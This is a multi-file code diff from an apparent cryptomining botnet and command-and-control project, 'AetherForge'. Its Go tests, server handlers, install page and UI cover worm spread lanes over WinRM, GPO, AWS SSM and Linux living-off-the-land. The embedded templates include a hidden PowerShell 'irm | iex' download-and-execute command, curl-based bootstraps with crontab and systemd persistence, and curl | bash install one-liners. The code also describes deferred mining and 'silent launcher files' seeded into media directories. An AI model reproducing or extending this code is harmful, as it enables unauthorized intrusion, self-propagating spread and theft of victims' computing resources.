curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
systemd-run --user --unit=aetherforge-worker.service
persist_crontab() { crontab -; }
`
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0o755); err != nil {
t.Fatal(err)
}
gpoScript := `# GPO computer startup script
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
$env:AETHER_DEFER_MINING = '1'
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
`
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
t.Fatal(err)
}
ssmDir := filepath.Join(root, "templates", "spread", "ssm")
_ = os.MkdirAll(ssmDir, 0o755)
_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
}
func TestDeployPlanSSMDocumentLane(t *testing.T) {
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
cases := map[string]struct {
subdir string
zip string
}{
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
}
for tpl, want := range cases {
subdir, zip, err := spreadTemplatePaths(tpl)
if err != nil {
t.Fatalf("%q: %v", tpl, err)
}
if subdir != want.subdir || zip != want.zip {
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
}
}
_, _, err := spreadTemplatePaths("bogus-lane")
if err == nil || !strings.Contains(err.Error(), "unknown template") {
t.Fatalf("err=%v", err)
}
}
func TestDeployPlanWinRMLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
if plan.JoinLane != "winrm" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
if !strings.Contains(plan.SSMDocument, "schemaVersion") {
t.Fatalf("doc=%s", plan.SSMDocument)
for _, marker := range []string{
"http://127.0.0.1:8989/get?os=windows",
"--spread-install",
"--defer-mining",
"Enable-PSRemoting",
} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
func TestDeployPlanGPOLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "gpo" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
t.Fatalf("script missing query suffix: %s", plan.Script)
}
}
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
_ = os.MkdirAll(buildDir, 0o755)
if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, projectRoot,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },

View File

@@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
in.FargateBurstActive = hub.fargateBurstActive()
return in
}

View File

@@ -1,4 +1,4 @@
package api
package api
import (
"crypto/subtle"
@@ -179,12 +179,6 @@ type WSHub struct {
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
policySnapshotToken string
policyEventBridgeRelayURL string
policyPublicBaseURL func() string
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -208,10 +202,6 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
cloudVenueMu sync.Mutex
cloudVenues *fleetai.CloudVenueRegistry
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
@@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
@@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps,
}
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
})
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
@@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
resp["triple_onion_policy"] = top
spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" {
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 {
@@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
if policy.AwsS3ShardRegion != "" {
spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
}
if policy.AwsCloudFrontDomain != "" {
spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
}
}
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy {
spreadPolicy[k] = v
}
}
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
for k, v := range cloudPolicy {
spreadPolicy[k] = v
}
}
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
for k, v := range fanout {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
@@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
case "cloud_venue_report":
if agentID == "" {
continue
}
var report struct {
CloudProvider string `json:"cloud_provider"`
Environment string `json:"environment"`
Workload string `json:"workload"`
InstanceType string `json:"instance_type"`
InstanceLifecycle string `json:"instance_lifecycle"`
OrganizationalUnit string `json:"organizational_unit"`
EC2Tags map[string]string `json:"ec2_tags"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if strings.TrimSpace(report.CloudProvider) == "" {
report.CloudProvider = "aws"
}
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
Environment: report.Environment,
Workload: report.Workload,
InstanceType: report.InstanceType,
InstanceLifecycle: report.InstanceLifecycle,
OrganizationalUnit: report.OrganizationalUnit,
EC2Tags: report.EC2Tags,
})
case "ai_snapshot":
if agentID == "" {
continue

View File

@@ -1,16 +1,17 @@
package atlas
import (
"fmt"
"strings"
)
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
@@ -18,21 +19,18 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
r.AgentID = strings.TrimSpace(r.AgentID)
r.Subnet = strings.TrimSpace(r.Subnet)
r.Token = strings.TrimSpace(r.Token)
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
r.Region = strings.TrimSpace(r.Region)
r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
r.FetchURL = strings.TrimSpace(r.FetchURL)
switch r.Kind {
@@ -40,17 +38,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
return FleetGossipRecord{}, false
}
if r.Region == "" && r.ShardAdvert != "" {
if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
r.Region = region
if r.ShardIndex == 0 {
r.ShardIndex = idx
}
}
}
if r.ShardAdvert == "" && r.Region != "" {
r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
}
case FleetGossipHealthy:
if r.AgentID == "" {
return FleetGossipRecord{}, false
@@ -65,6 +52,7 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
return r, true
}
// NormalizeFleetGossipRecords drops invalid records while preserving order.
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
if len(in) == 0 {
return nil
@@ -77,15 +65,3 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
}
return out
}
func parseShardAdvert(advert string) (region string, index int, ok bool) {
colon := strings.LastIndex(strings.TrimSpace(advert), ":")
if colon <= 0 {
return "", 0, false
}
region = strings.TrimSpace(advert[:colon])
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
return "", 0, false
}
return region, index, region != ""
}

View File

@@ -2,12 +2,15 @@ package atlas
import "testing"
func TestNormalizeFleetGossipShardAdvert(t *testing.T) {
r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{
Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h",
Region: "us-west-2", ShardIndex: 4,
})
if !ok || r.ShardAdvert != "us-west-2:4" {
t.Fatalf("advert=%q", r.ShardAdvert)
func TestNormalizeFleetGossipRecords(t *testing.T) {
in := []FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
{Kind: "bogus"},
{Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
{Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
}
out := NormalizeFleetGossipRecords(in)
if len(out) != 3 {
t.Fatalf("got %d records", len(out))
}
}

View File

@@ -14,10 +14,9 @@ var parallelLaneOrder = []string{
// ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
}
// Plan is deploy-plan metadata for agent-side ReedSolomon reassembly.

View File

@@ -62,7 +62,6 @@ type Input struct {
TargetSubnets []string
RequestedLane string
ErasureLanesEnabled bool
FargateBurstActive bool
}
// RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -94,8 +93,6 @@ type RouteRecommendation struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
RouteVia string `json:"route_via,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -115,8 +112,6 @@ type SpreadRouteHint struct {
SwarmMagnet string `json:"swarm_magnet,omitempty"`
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
RouteVia string `json:"route_via,omitempty"`
}
// RouteTable holds weighted edges and recommendations.
@@ -157,7 +152,7 @@ func Build(in Input) *RouteTable {
targets := normalizeTargets(in)
for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec
@@ -193,9 +188,6 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
ErasureLanesEnabled: rec.ErasureLanesEnabled,
SwarmMagnet: rec.SwarmMagnet,
ShardManifestURLs: rec.ShardManifestURLs,
PreferFargateSeeder: rec.PreferFargateSeeder,
}
}
@@ -311,7 +303,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
return out
}
func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge
var best RouteRecommendation
var bestScore float64
@@ -361,7 +353,6 @@ func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bo
Score: weight,
Reason: reason,
ErasureLanesEnabled: erasureLanes,
PreferFargateSeeder: fargateBurst,
}
}
}

View File

@@ -123,25 +123,6 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
}
}
func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.9.8"},
FargateBurstActive: true,
FleetAgents: []FleetAgentSnapshot{
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
},
}
rt := Build(in)
rec, ok := rt.Recommend("10.9.8")
if !ok || !rec.PreferFargateSeeder {
t.Fatalf("route=%+v ok=%v", rec, ok)
}
hint := ToHint(rec)
if hint == nil || !hint.PreferFargateSeeder {
t.Fatalf("hint=%+v", hint)
}
}
func TestToHint(t *testing.T) {
hint := ToHint(RouteRecommendation{
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,

View File

@@ -1,4 +1,4 @@
package main
package main
import (
"context"
@@ -306,8 +306,6 @@ func main() {
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
publicHandler.BindErasureShardStore(erasureShardStore)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
spreadHandler.BindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore)
spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() })
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler(
database, cfg.DataDir, projectRoot,
@@ -316,10 +314,6 @@ func main() {
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
)
deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
deployPlanHandler.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func(s erasure.AWSSwarmSettings) erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: s} })
erasureSwarmHandler := api.NewErasureSwarmHandler(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func() erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: cfg.AWSSwarmSettings()} })
spreadHandler.BindDeployPlan(deployPlanHandler)
spreadHandler.BindErasureShards(erasureShardStore)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -360,7 +354,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, erasureSwarmHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
@@ -442,12 +436,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
HashrateGateHPS: cfg.Server.HashrateGateHPS,
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
AwsS3ShardRegion: cfg.Server.AWSS3ShardRegion,
AwsCloudFrontDomain: cfg.Server.AWSCloudFrontDomain,
FargateBurstCampaign: cfg.Server.FargateBurstCampaign,
FargateBurstTTLHours: cfg.Server.FargateBurstTTLHours,
})
wsHub.SyncFargateBurstCampaign(cfg.Server.FargateBurstCampaign, cfg.Server.FargateBurstExpiresAt, cfg.Server.FargateBurstTTLHours)
}
if poolManager != nil {
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)

View File

@@ -48,12 +48,4 @@ test.describe('Page smoke', () => {
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
});
test('Emberwake Cloud Ecosystem hub loads', async ({ page }) => {
await page.getByRole('link', { name: /Emberwake/i }).click();
await expect(page.getByText('Cloud Ecosystem')).toBeVisible({ timeout: 10_000 });
await page.getByText('Cloud Ecosystem').click();
await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
});
});

View File

@@ -174,12 +174,6 @@
</p>
</section>
<section class="section" id="aws-launch-template">
<h2>AWS Launch Template — strain genesis</h2>
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
</section>
<section class="section" id="cms">
<h2>CMS &amp; static host upload</h2>
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
@@ -241,24 +235,6 @@
</p>
</section>
<section class="section" id="burst-seeder">
<h2>Burst seeder (ECS Fargate)</h2>
<p>
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
</p>
<div class="install-grid">
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
</div>
<p class="fine" style="margin-top: 0.75rem;">
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 24 hours; Seer emits
<code class="inline">fargate_plague_front</code> when burst activates.
</p>
</section>
<footer class="fine">
<p>
Command-deck copy: <a href="/spread/">/spread/</a> ·
@@ -298,14 +274,6 @@
var dl = document.getElementById('btn-dl');
if (dl) dl.href = withSuffix(SERVER + '/get');
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
var fargateBundle = document.getElementById('fargate-bundle');
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
var fargateTask = document.getElementById('fargate-task-def');
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
var fargateRun = document.getElementById('fargate-run-script');
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
var bash = document.getElementById('oneliner-bash');
var ps1 = document.getElementById('oneliner-ps1');
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
@@ -320,17 +288,6 @@
var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary');
}
var ltBtn = document.getElementById('btn-lt-generate');
if (ltBtn) ltBtn.addEventListener('click', function () {
var p = new URLSearchParams(window.location.search || '');
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
.then(function (r) { return r.json(); }).then(function (resp) {
if (!resp.success) return;
var hint = document.getElementById('lt-genesis-hint');
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
});
});
})();
</script>
</body>

View File

@@ -469,32 +469,6 @@ export const api = {
URL.revokeObjectURL(url);
},
fetchSSMSpreadBundle: (req: {
server_url: string;
build_id?: string;
campaign?: string;
platform?: string;
aws_cli_path?: string;
}) =>
fetchJSON<{ ok: boolean; bundle: {
join_lane: string;
document: string;
run_command: string;
create_document_cli: string;
manifest_url?: string;
shard_urls?: string[];
fallback_get_url?: string;
} }>('/builder/ssm-spread-bundle', {
method: 'POST',
body: JSON.stringify(req),
}),
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
method: 'POST',
body: JSON.stringify(req),
}),
exportSpreadTemplate: async (req: {
template: string;
server_url: string;
@@ -520,22 +494,6 @@ export const api = {
URL.revokeObjectURL(url);
},
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
@@ -623,17 +581,6 @@ export const api = {
method: 'DELETE',
}),
testErasureSwarm: (body: { s3_bucket?: string; cloudfront_domain?: string }) =>
fetchJSON<{ ok: boolean; error?: string }>('/erasure-swarm/test', {
method: 'POST',
body: JSON.stringify(body),
}),
getErasureSwarmPolicyJSON: (bucket?: string) =>
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
`/erasure-swarm/policy-json${bucket ? `?bucket=${encodeURIComponent(bucket)}` : ''}`,
),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {

View File

@@ -217,17 +217,6 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
</label>
</div>
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.fargate_burst_campaign === true}
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
/>
<span>Fargate burst seeder campaign (ECS, 24h TTL)</span>
</label>
</div>
{server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

View File

@@ -42,10 +42,6 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />,
}));
vi.mock('./LaunchTemplateExportPanel', () => ({
default: () => <div data-testid="launch-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL);

View File

@@ -17,7 +17,6 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css';
@@ -826,10 +825,6 @@ export default function CrucibleExpandedOps({
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
<p className="crucible-seek-blurb">
Recursively seeds every media directory under the given path with silent launcher files.

View File

@@ -12,8 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { resolvePageWeather } from '../../help/pageWeather';
import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather';
